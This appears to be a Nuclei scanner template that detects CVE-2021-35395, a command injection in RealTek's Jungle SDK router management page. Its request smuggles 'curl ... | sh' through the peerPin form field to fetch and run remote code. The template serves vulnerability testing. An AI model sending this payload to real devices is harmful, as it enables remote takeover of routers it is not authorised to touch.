49 lines
1.9 KiB
YAML
49 lines
1.9 KiB
YAML
id: CVE-2021-35395
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info:
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name: RealTek Jungle SDK - Arbitrary Command Injection
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author: king-alexander
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severity: critical
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description: |
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There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
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remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-35395
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- https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
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- https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
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- https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf
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- https://github.com/Knighthana/YABWF
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-35395
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epss-score: 0.96911
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epss-percentile: 0.99713
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cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: realtek
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product: realtek_jungle_sdk
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tags: cve2021,cve,realtek,rce,kev
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http:
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- raw:
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- |
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POST /goform/formWsc HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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# digest: 4a0a0047304502205aa3a24fd1ef024bbc3be505adb2ec487d1063c810e6b96e8f8cc305b73a6495022100e4bdbecabffee2fce2a6f73cd37f414cf32755981c97deaa1a14ad7922b2d013:922c64590222798bb761d5b6d8e72950 |